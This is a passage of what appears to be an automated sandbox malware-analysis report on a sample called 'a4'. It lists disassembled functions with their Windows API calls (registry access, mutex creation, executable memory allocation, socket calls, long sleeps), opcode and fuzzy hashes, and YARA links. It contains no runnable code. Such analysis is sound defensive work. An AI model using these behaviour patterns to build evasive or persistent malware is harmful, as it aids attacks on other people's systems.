                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: Interlocked$CountDecrementExitIncrementThreadTickUserclosesockethtonsrecvfromselectsendtosocket
                                                            • String ID:
                                                            • API String ID: 1469894868-0
                                                            • Opcode ID: ff93935e48d8872b008cb94517a05538be04c3efb875bd5d3c844c4539baa030
                                                            • Instruction ID: 0cfe9b8988b8001a4ba2473d24b9c59ba52fe87caa93fee6a6d4f3ac63bde585
                                                            • Opcode Fuzzy Hash: ff93935e48d8872b008cb94517a05538be04c3efb875bd5d3c844c4539baa030
                                                            • Instruction Fuzzy Hash: 70417A75D08298CBEB20CF20DD447E9B774BB44301F0089EAE98DA7241DBB19AC8DF65
                                                            Function 029DCB2D Relevance: 7.6, APIs: 5, Instructions: 72registrysleepCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00000009,?), ref: 029DCB75
                                                            • RegEnumValueA.KERNEL32(?,00000000,00000000,00000100,00000000,00000000,00000000,00000000), ref: 029DCBB2
                                                            • GetFileAttributesA.KERNEL32(00000000), ref: 029DCBDB
                                                            • Sleep.KERNEL32(00000100), ref: 029DCC11
                                                            • RegCloseKey.ADVAPI32(?), ref: 029DCC2E
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: AttributesCloseEnumFileOpenSleepValue
                                                            • String ID:
                                                            • API String ID: 684116133-0
                                                            • Opcode ID: 22fa932da6e80c9b939331e5bee7b7a81596e9a70d546332702edfbe17c57a56
                                                            • Instruction ID: c5acae10c1299ed626ba9be4c4782d2dfd9d0ceb7d89b56b1645dc8e6cb9a249
                                                            • Opcode Fuzzy Hash: 22fa932da6e80c9b939331e5bee7b7a81596e9a70d546332702edfbe17c57a56
                                                            • Instruction Fuzzy Hash: 5421A775E00218ABEB20CB64CC85BDAB778AB18700F0089D9E749A6180DBF49AC4CF90
                                                            Function 029DD570 Relevance: 6.1, APIs: 4, Instructions: 102sleepmemorythreadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GlobalAlloc.KERNEL32(00000040,00015000), ref: 029DD59D
                                                              • Part of subcall function 029D7C71: MapViewOfFile.KERNEL32(00000258,00000006,00000000,00000000,00015400), ref: 029D7CA8
                                                              • Part of subcall function 029D7C71: UnmapViewOfFile.KERNEL32(00000000), ref: 029D7CD7
                                                            • GlobalFree.KERNELBASE(?), ref: 029DD5E5
                                                            • Sleep.KERNEL32(00002800), ref: 029DD6C0
                                                            • RtlExitUserThread.NTDLL(00000000), ref: 029DD6E3
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: FileGlobalView$AllocExitFreeSleepThreadUnmapUser
                                                            • String ID:
                                                            • API String ID: 2983513495-0
                                                            • Opcode ID: 4e54bdb0187216c0bbdbec727957b633aead6ad5a10a9a167a11b84d8f36f685
                                                            • Instruction ID: 39ffba6d20d8fad4624a6ddb91c58c898a83673fc96ccbd50cc4ac15fd496f5e
                                                            • Opcode Fuzzy Hash: 4e54bdb0187216c0bbdbec727957b633aead6ad5a10a9a167a11b84d8f36f685
                                                            • Instruction Fuzzy Hash: 25311A71E40304ABEB00DB94DC45FAE7775FB89720F048614E916B2384DF76A504DBB6
                                                            Function 029D1970 Relevance: 6.1, APIs: 4, Instructions: 83registrystringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • wsprintfA.USER32 ref: 029D19A6
                                                            • lstrcpy.KERNEL32(?,00000000), ref: 029D1A54
                                                            • lstrcpy.KERNEL32(?,00000000), ref: 029D1A7B
                                                            • RegSetValueExA.KERNEL32(?,?,00000000,00000004,?,00000004), ref: 029D1AA5
                                                            • lstrlen.KERNEL32(?), ref: 029D1AB4
                                                            • RegSetValueExA.KERNEL32(?,?,00000000,00000001,?,00000000), ref: 029D1AD4
                                                            • RegCloseKey.KERNEL32(?), ref: 029D1AE6
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: Valuelstrcpy$Closelstrlenwsprintf
                                                            • String ID:
                                                            • API String ID: 3050549977-0
                                                            • Opcode ID: 285f1e0ea77e44bfb0bfc69acbbf5ac19baf8b8fa8eae01a09c57b5ae012d94e
                                                            • Instruction ID: 7ad64f71d90e3f0da599b3cdfd6ce20f8a2b040cfcd0756a86b678a7b96c1d44
                                                            • Opcode Fuzzy Hash: 285f1e0ea77e44bfb0bfc69acbbf5ac19baf8b8fa8eae01a09c57b5ae012d94e
                                                            • Instruction Fuzzy Hash: 583107B5D44228AFCB18CF14C845AEAB7B5BB58341F04C5D9EB4EAA240D7309E91DFA0
                                                            Function 029DD23D Relevance: 6.0, APIs: 4, Instructions: 30memoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • FindCloseChangeNotification.KERNEL32(00000000), ref: 029DD257
                                                            • CloseHandle.KERNEL32(?), ref: 029DD277
                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 029DD28F
                                                            • HeapFree.KERNEL32(00000000), ref: 029DD296
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: CloseHeap$ChangeFindFreeHandleNotificationProcess
                                                            • String ID:
                                                            • API String ID: 3129886909-0
                                                            • Opcode ID: 2c729af5fa483fcc18b0e30a8ff73cc65eba357c3785003268474b81635fc4aa
                                                            • Instruction ID: fd25dc906c398440a3f730a23f24adda431c76482787a116fe97a7ec2d8b8856
                                                            • Opcode Fuzzy Hash: 2c729af5fa483fcc18b0e30a8ff73cc65eba357c3785003268474b81635fc4aa
                                                            • Instruction Fuzzy Hash: F9F04F7AD40368CBDB248FA4D80C7EDB774FB48325F008599E51993280C77489D5CF21
                                                            Function 029DCC39 Relevance: 6.0, APIs: 4, Instructions: 24sleepthreadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Sleep.KERNEL32(00001000), ref: 029DCC41
                                                            • RtlExitUserThread.NTDLL(00000000), ref: 029DCC88
                                                              • Part of subcall function 029DCB2D: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00000009,?), ref: 029DCB75
                                                              • Part of subcall function 029DCB2D: RegEnumValueA.KERNEL32(?,00000000,00000000,00000100,00000000,00000000,00000000,00000000), ref: 029DCBB2
                                                              • Part of subcall function 029DCB2D: RegCloseKey.ADVAPI32(?), ref: 029DCC2E
                                                            • Sleep.KERNEL32(00004E20), ref: 029DCC64
                                                              • Part of subcall function 029DCB2D: GetFileAttributesA.KERNEL32(00000000), ref: 029DCBDB
                                                              • Part of subcall function 029DCB2D: Sleep.KERNEL32(00000100), ref: 029DCC11
                                                            • Sleep.KERNEL32(00057E40), ref: 029DCC7E
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: Sleep$AttributesCloseEnumExitFileOpenThreadUserValue
                                                            • String ID:
                                                            • API String ID: 3734488975-0
                                                            • Opcode ID: 8a7305f009f10d5add41fabc219c3afa494ee3a1e6025aa377285e197eea6140
                                                            • Instruction ID: c97831b1608e340f1e1855ae0fab590be996420c6277412c8ac4a0dc24328009
                                                            • Opcode Fuzzy Hash: 8a7305f009f10d5add41fabc219c3afa494ee3a1e6025aa377285e197eea6140
                                                            • Instruction Fuzzy Hash: E0E04FF5A84314A7E24067B0BD0AB273669AB48717F008C25FB0B45680EFB5D429DA63
                                                            Function 029DFB41 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47registryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • wsprintfA.USER32 ref: 029DFBC9
                                                            • RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004), ref: 029DFC06
                                                            • RegCloseKey.KERNEL32(00000000), ref: 029DFCD5
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: CloseQueryValuewsprintf
                                                            • String ID: %c%d_%d
                                                            • API String ID: 2691868063-4129319098
                                                            • Opcode ID: c2163fc0b23edc595867a96974871b217633849f22093ca939631f44504ab55b
                                                            • Instruction ID: 925229ee292c4d5312b7755f6b313566877b08b3c85413ba2186307b02a060ee
                                                            • Opcode Fuzzy Hash: c2163fc0b23edc595867a96974871b217633849f22093ca939631f44504ab55b
                                                            • Instruction Fuzzy Hash: 541119B1D41228EBDB24CF94DC89BDDB7B8BB48304F1089C9D50AA6240CB749BD4DF54
                                                            Function 029DFB8B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36registryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • wsprintfA.USER32 ref: 029DFBC9
                                                            • RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004), ref: 029DFC06
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: QueryValuewsprintf
                                                            • String ID: %c%d_%d
                                                            • API String ID: 2072284396-4129319098
                                                            • Opcode ID: f7d19561a50e4cba8afccd237ae7d559a6bf28e262ba6bb1158e68c29f33ef9b
                                                            • Instruction ID: e4bc3580849e847913cd2ae0ef6cbb9c8a0e8555e4819d297176a75f460f7549
                                                            • Opcode Fuzzy Hash: f7d19561a50e4cba8afccd237ae7d559a6bf28e262ba6bb1158e68c29f33ef9b
                                                            • Instruction Fuzzy Hash: 7201E1B1D41228ABDB24CF94DC8DFD9B7B9BB58304F1085C8E50A66140C7749BD4DF94
                                                            Function 00BC27E8 Relevance: 4.8, APIs: 3, Instructions: 256sleepsynchronizationCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • CreateMutexA.KERNEL32(00000000,00000000,?), ref: 00BC2902
                                                            • FindCloseChangeNotification.KERNEL32 ref: 00BC291A
                                                            • Sleep.KERNEL32(00002710), ref: 00BC2925
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: ChangeCloseCreateFindMutexNotificationSleep
                                                            • String ID:
                                                            • API String ID: 607942068-0
                                                            • Opcode ID: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                                            • Instruction ID: 005c214d1d68483ee922df8598257805cc2d1fc8bb4ac4cfeafc881302d3a28e
                                                            • Opcode Fuzzy Hash: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                                            • Instruction Fuzzy Hash: 70B13A75A002898FEF10CF58CD84BA937E5FF54304F584569EC0DAF2A1D775AA81CB4A
                                                            Function 029D2399 Relevance: 4.7, APIs: 3, Instructions: 239COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • RtlEnterCriticalSection.NTDLL(029E4050), ref: 029D2410
                                                            • RtlLeaveCriticalSection.NTDLL(029E4050), ref: 029D2724
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: CriticalSection$EnterLeave
                                                            • String ID:
                                                            • API String ID: 3168844106-0
                                                            • Opcode ID: bc4137da9ded81b8128d0e494dc8c7bb13354937ae44aecfea39e318421c7e21
                                                            • Instruction ID: 1b88e67c9968dfc30011c61c003a3e7c61660bbfb0a53c25e07d35815c768210
                                                            • Opcode Fuzzy Hash: bc4137da9ded81b8128d0e494dc8c7bb13354937ae44aecfea39e318421c7e21
                                                            • Instruction Fuzzy Hash: D7A183B5D002989BDF35CB94CC90BEDB7B6BF44304F1484EADA0A6B245D6309B85DF54
                                                            Function 029DCA87 Relevance: 4.5, APIs: 3, Instructions: 46stringthreadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • lstrcpy.KERNEL32(00000000,02A53A30), ref: 029DCAE0
                                                            • GetDriveTypeA.KERNEL32(00000000), ref: 029DCAF9
                                                            • RtlExitUserThread.NTDLL(00000000), ref: 029DCB20
                                                              • Part of subcall function 029DBADD: Sleep.KERNEL32(?,?,?,?,00000000,Function_00013630,02A50240,000000FF,?,029DCB1B,00000003,00000000,00000000,00000000), ref: 029DBB57
                                                              • Part of subcall function 029DBADD: lstrcat.KERNEL32(?,02A55658), ref: 029DBB75
                                                              • Part of subcall function 029DBADD: lstrcpy.KERNEL32(00000000,?), ref: 029DBB8F
                                                              • Part of subcall function 029DBADD: CharLowerA.USER32(00000000,?,?,00000000,Function_00013630,02A50240,000000FF,?,029DCB1B,00000003,00000000,00000000,00000000), ref: 029DBB9C
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: lstrcpy$CharDriveExitLowerSleepThreadTypeUserlstrcat
                                                            • String ID:
                                                            • API String ID: 362529667-0
                                                            • Opcode ID: a9e10480c46b3ab05ddc8be63b7d0c85e8c5a3f7374026cba6d0f6ad34754610
                                                            • Instruction ID: 2e17f141a0a590b4e3897898c8013e2a3b8ddb6d3131318a38d4e4e5852f5b48
                                                            • Opcode Fuzzy Hash: a9e10480c46b3ab05ddc8be63b7d0c85e8c5a3f7374026cba6d0f6ad34754610
                                                            • Instruction Fuzzy Hash: 36118071900228ABDB258B59CC14BEAB7B9EB4CB00F0445E9E709A7240DB70AA54CF95
                                                            Function 029D1189 Relevance: 4.5, APIs: 3, Instructions: 39sleepsynchronizationthreadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • WaitForSingleObject.KERNEL32(?,00000064), ref: 029D11D2
                                                            • Sleep.KERNEL32(00004E20), ref: 029D11F3
                                                            • RtlExitUserThread.NTDLL(00000000), ref: 029D11FD
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: ExitObjectSingleSleepThreadUserWait
                                                            • String ID:
                                                            • API String ID: 295063474-0
                                                            • Opcode ID: bfeb52aae4cda038e209ff7c59bb95acd2ac9ff70b9e70993f6860744c145bcb
                                                            • Instruction ID: 4188d156e02f7ca09db1f31aa83c05b3aec388a8ad7cc9ec197d5c2166675e01
                                                            • Opcode Fuzzy Hash: bfeb52aae4cda038e209ff7c59bb95acd2ac9ff70b9e70993f6860744c145bcb
                                                            • Instruction Fuzzy Hash: 48018172E44308EBEB04DFD0ED04B6E7B7ABB45705F10C454EA096B280CB729B21EB51
                                                            Function 029DB811 Relevance: 4.5, APIs: 3, Instructions: 26sleepCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GlobalFree.KERNEL32(00000000), ref: 029DB825
                                                            • RtlLeaveCriticalSection.NTDLL(029E4018), ref: 029DB837
                                                            • Sleep.KERNEL32(00000400), ref: 029DB852
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: CriticalFreeGlobalLeaveSectionSleep
                                                            • String ID:
                                                            • API String ID: 2599486065-0
                                                            • Opcode ID: 214c8f079c86f373a21cdb27dd79f0115113f4310a5fce850faa65b9058842a1
                                                            • Instruction ID: 80be610086636a12739e6a33d20c9329711aa119f344e0d0d8e121869e35d22d
                                                            • Opcode Fuzzy Hash: 214c8f079c86f373a21cdb27dd79f0115113f4310a5fce850faa65b9058842a1
                                                            • Instruction Fuzzy Hash: F3F05E76E803168BEB24CF84D8097BEB770FB48326F004169EA16A3680CB395556CF41
                                                            Function 048C06D2 Relevance: 3.3, APIs: 2, Instructions: 256sleepsynchronizationCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • CreateMutexA.KERNEL32(00000000,00000000,?), ref: 048C07EC
                                                            • Sleep.KERNEL32(00002710), ref: 048C080F
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3847465779.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_48c0000_a4#Uff09.jbxd
                                                            Similarity
                                                            • API ID: CreateMutexSleep
                                                            • String ID:
                                                            • API String ID: 1464230837-0
                                                            • Opcode ID: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                                            • Instruction ID: bd27608596c5a5df0cdb1ec5cf4fa4bceb2a9b747790b1b04951f593ab67ff64
                                                            • Opcode Fuzzy Hash: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                                            • Instruction Fuzzy Hash: B0B15775A00289CFEF10CF94CD84BA937A5BF45354F484A19DD09EF2A1D772BA84CB4A
                                                            Function 00BD97E8 Relevance: 3.3, APIs: 2, Instructions: 256memorysynchronizationCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • CreateMutexA.KERNEL32(00000000,00000000,?), ref: 00BD9902
                                                            • VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00BD99B1
                                                              • Part of subcall function 00BD9BC1: KiUserExceptionDispatcher.NTDLL(?,00BD9B69), ref: 00BD9BC7
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
